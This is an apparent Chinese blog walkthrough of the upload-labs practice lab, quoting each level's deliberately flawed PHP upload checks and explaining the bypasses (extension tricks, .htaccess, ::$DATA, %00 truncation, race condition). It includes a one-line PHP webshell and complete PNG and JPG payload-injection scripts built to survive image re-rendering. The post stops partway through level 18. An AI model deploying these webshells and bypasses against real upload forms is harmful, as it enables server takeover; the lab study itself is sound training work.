3a0-Eminem
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upload-labs一把过

发表于 更新于
打完这个开始跟小迪学

参考文献
https://www.cnblogs.com/chu-jian/p/15515770.html

level 1

F12一眼是前端校验

  1. 禁用JavaScript
  2. bp抓包改后缀
  3. XYCTF给我的经验:html文件保存下来，在本地更改之后再用浏览器打开，然后就可以传新的文件上去了(这里注意要更改action动作)

level 2

修改mime头
将Content-Type修改为允许上传的类型

level 3

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

对文件后缀进行过滤了，这个时候用模糊后缀绕过即可

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用.phtml .phps .php5 .pht进行绕过

受害者视角

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要在apache的httpd.conf中有如下配置代码：AddType application/x-httpd-php .php .phtml .phps .php5 .pht，如果不配置他是无法解析php5代码的，访问的时候就是一个空白页

level 4

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

直接全部都禁了
这种情况下就要去想传一个.htaccess配置文件，去把我们传上去的符合后缀的文件当作php解析
exp

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<FilesMatch "4.png">
SetHandler application/x-httpd-php

然后你4.png文件内正常写，正常传，再访问即可

level 5

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

注意到没有做大小写统一转换，那么直接大小写绕过即可

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1.PhP.

level 6

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

没有首尾去空，那么bp抓包在文件后缀加一个空格再发包即可绕过
文件也可以正常解析

level 7

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这里他禁止上传所有可以解析的后缀

注意到

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$file_ext = strrchr($file_name, '.');

发现这里他只获取文件名中的 “最后一个点（.）” 后面的内容（包括点本身），来看是不是黑名单中的内容，那也是直接多加一个点绕过即可

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1.php.

level 8

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

注意到一下内容消失了，所以我们可以添加::$data来绕过

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$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
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1.php::$data

关于::$data起什么作用

Windows系统下，如果上传的文件名为9.php::$DATA会在服务器上生成一个9.php的文件，其内容和所上传文件内容相同并被解析。

level 9

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

审计一手发现只匹配一次，然后会删除最后一个.和空格
那我点两个点不就行了

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1.php. .

然后正常去掉最后一个.和空格，然后匹配最后一个点后面的内容，这里很显然是空的，所以绕过了，然后.php其实就正常传上去了
这题算是上面内容的集大成者

level 10

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

瞄一眼就知道会单词匹配出这里非法后缀然后删除
双写绕过即可

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1.pphphp

level 11

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

居然可以自定义上传路径，那很有生活了

move_uploaded_file
底层是C语言实现，会按\0截断字符串

%00截断
攻击者能控制文件保存路径或文件名的一部分（如通过$_GET的save_path参数传入）。 \0（在 URL 编码中表示为 %00）被视为字符串的结束符。

此代码在拼接文件保存路径时，使用了 $_GET[‘save_path’] 从 URL 的 GET 参数中获取保存路径，并且没有对这个参数进行严格的过滤和验证。

那思想就开阔起来了，我传个1.jpg上去，里面是图片马

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$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

受到这个的影响
由于$img_path = $_GET[‘save_path’].”/“.rand(10, 99).date(“YmdHis”).”.”.$file_ext;得知图片的路径为“test12.php%00”与“/”和“rand(10, 99).date(“YmdHis”).”和”.jpg”的结合。假设rand(10, 99).date(“YmdHis”)的输出为8820250428，那么

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save_path：../upload/test12.php%00
重命名后的图片：8820250428.jpg
img_path：../upload/test12.php%00/8820250428.jpg

后面重命名的图片就会被截断了，实际存储的文件名变为1.php

步骤

  1. 抓包
    把头改成
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POST /upload-labs/....../save_path=../upload/1.php%00 HTTP/1.1
  1. 发过去确定文件位置即可

这里1.jpg由于路径的问题会自动变成1.php，自然就可以去访问和解析了

level 12

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

这里直接和level 11差不多，只是把路径的提交方式从get改成post

有何差别呢?
差别呢就是get会自行解码，post不会自行解码，抓包后我们需要对%00进行编码,选中%00右键，按下图操作来
alt text
alt text
照常发包访问即可

level 13

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function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

题目多给了个注意

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1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关！

我哩个检测文件头啊

  1. 其实直接加上文件头就行
  2. 找出这三种格式的图片文件，在最后补上一句话木马
    其实，这个在随波逐流中就可以实现，也挺方便的，不用自己去修修改改

但是这里还有一个要求，就是要使用文件包含漏洞，这个文件包含漏洞就不多说了，我们这里就说要怎么去实现
脚本相对于文件包含url的相对地址如下所示

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upload/8520211119092303.jpg

那就这么去构造即可

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http://127.0.0.1/upload-labs/include.php?file=upload/8520211119092303.jpg

其余的也同理

level 14

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function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

getimagesize
getimagesize这个函数是用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息，
也就是说本节通过getimagesize()函数返回的图像类型信息,来判断上传的文件是否为可以上传的文件。
故而本实验中，由于需要通过获取图像的真实大小信息，故而本例中上传的图片需要包含真是的图片信息，无法像上一小节只在脚本的首部添加图片的特征，这样构造出来的图片脚本是可以通过getimagesize函数成功获取到大小的。

简单来说就是用随波逐流把一句话木马添加在真实的一张图片后面，即可全部绕过

level 15

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function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

此处注意到用exif_imagetype函数检查文件

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exif_imagetype() 本质上并不解析整个文件，而是打开指定文件后 读取文件头的前几个字节（所谓“魔数”/magic bytes），并将它们与已知图像格式的签名比对，通过匹配结果来判断图像类型

那就有的是方法绕过了

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copy /b test.jpg + info.php test16.jpg
copy /b test.png + info.php test16.png
copy /b test.gif + info.php test16.gif

info.php就说一句话木马，用copy方法去生成我们所需要的文件(或许有些复古?)

level 16

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<?php
// 检查上传文件的扩展名是否为 "gif" 并且文件的 MIME 类型是否为 "image/gif"
// $fileext 代表上传文件的扩展名，$filetype 代表文件的 MIME 类型
if(($fileext == "gif") && ($filetype=="image/gif")){
    // 尝试将上传的临时文件从临时存储路径移动到目标存储路径
    // $tmpname 是上传文件在服务器临时存储的路径，$target_path 是目标存储路径
    if(move_uploaded_file($tmpname,$target_path)){
        // 使用上传的图片生成新的图片
        // imagecreatefromgif 是 PHP 的 GD 库函数，用于从 GIF 格式的图片文件创建一个新的图像资源
        // $target_path 为存储图片的目标路径
        $im = imagecreatefromgif($target_path);
        // 检查是否成功创建图像资源
        if($im == false){
            // 如果创建失败，说明该文件可能不是合法的 GIF 格式图片
            // 将提示信息 $msg 设置为相应内容
            $msg = "该文件不是gif格式的图片！";
            // 尝试删除之前移动到目标路径的文件
            // @ 符号用于抑制可能出现的警告信息
            @unlink($target_path);
        }else{
            // 如果成功创建图像资源，为新生成的图片指定一个文件名
            // srand(time()) 用于初始化随机数生成器，以当前时间作为种子，确保每次生成的随机数不同
            srand(time());
            // 生成一个随机整数，并将其转换为字符串，作为新图片的文件名
            $newfilename = strval(rand()).".gif";
            // 拼接新图片在目标目录中的完整路径
            // UPLOAD_PATH 是预定义的上传文件保存目录
            $img_path = UPLOAD_PATH.'/'.$newfilename;
            // 将之前创建的图像资源以 GIF 格式保存到指定的新路径
            // imagegif 是 PHP 的 GD 库函数，用于将图像资源保存为 GIF 格式的文件
            imagegif($im,$img_path);
 
            // 尝试删除之前移动到目标路径的原始上传文件
            @unlink($target_path);
            // 将 $is_upload 标记为 true，表示文件上传并处理成功
            $is_upload = true;
        }
    } else {
        // 如果文件移动失败，将提示信息 $msg 设置为上传出错
        $msg = "上传出错！";
    }
}else{
    // 如果上传文件的扩展名不是 "gif" 或者 MIME 类型不是 "image/gif"
    // 将提示信息 $msg 设置为只允许上传特定后缀的图片文件
    $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
}
?>
  1. 二次渲染
    图片上传之后会二次渲染，这个在今年的hgame里也有见过
    使用imagecreatefromgif()和imagegif()对图像进行二次处理
    这种方法能有效消除gif文件中可能隐藏的恶意代码
    生成全新的图像文件，不保留原始文件的元数据
  2. 双重验证
    检查文件扩展名(匹配.gif)
    验证MIME类型(匹配image/gif)
  3. 随机文件名
    使用time()和rand()生成不易被猜测的随机文件名
    防止文件名冲突和预测攻击
  4. 二次渲染优点
    清除恶意代码：二次渲染利用图像处理库对上传的图片进行重新生成，能够有效识别并丢弃图片中隐藏的非图像数据，如恶意脚本、病毒代码等。这使得攻击者难以通过在图片中嵌入恶意代码来执行攻击，大大降低了服务器遭受攻击的风险。
    规范图像格式：在二次渲染过程中，图片会被强制转换为标准的图像格式，纠正可能存在的格式错误或异常。这有助于防止攻击者利用畸形图像文件来绕过文件类型检查或触发服务器端的渗透攻击。

针对GIF

先传包含图片码的gif，然后去把传上去的gif，把你的一句话木马插进两个gif文件相同的内容中即可(010editor查看16进制)

针对PNG

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<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

经典payload，一句话是

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<?$_GET[0]($_POST[1]);?>

若想自定义要打的payload

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<?php 
/* cX<?PHP 不可取消 但可以替换为c<?=
   ?>X<0x00><0x00> 不可删除。*/
$a='cX<?PHP FILE_PUT_CONTENTS();?>X'.urldecode('%00').urldecode('%00');

$payload_ascii='';
for($i=0;$i<strlen($a);$i++){
    $payload_ascii.=bin2hex($a[$i]);
}

$payload_hex=bin2hex(gzinflate(hex2bin($payload_ascii)));

// echo $payload_hex."\n";
preg_match_all('/[a-z0-9]{2}/', $payload_hex, $matches);

$blist=[];

foreach($matches[0] as $key => $value){
    $blist[$key]=base_convert($value, 16, 10);
}

function filter1($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + $blist[$i]) %256;
    }
    return array_values($blist);
}

function filter3($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + floor($blist[$i]/2) ) %256;
    }
    return array_values($blist);
}
$p=array_merge(filter1($blist), filter3($blist));
$img = imagecreatetruecolor(32, 32);

// echo sizeof($p);
for ($y = 0; $y < sizeof($p)-3; $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   // echo $color;
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

针对JPG

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<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

保存后运行即可

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php jpg_payload.php 1.jpg

详细原理这里不过多赘述，参考
https://blog.csdn.net/weixin_45588247/article/details/119177948

level 17

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$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

注意到

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if(move_uploaded_file($temp_file, $upload_file))
unlink($upload_file);

先移动后检查，有个时间间隔，可以打条件竞争

我做出来了，但是已经懒得写了
参考文献
https://blog.csdn.net/mooyuan/article/details/147627007

level 18

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//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
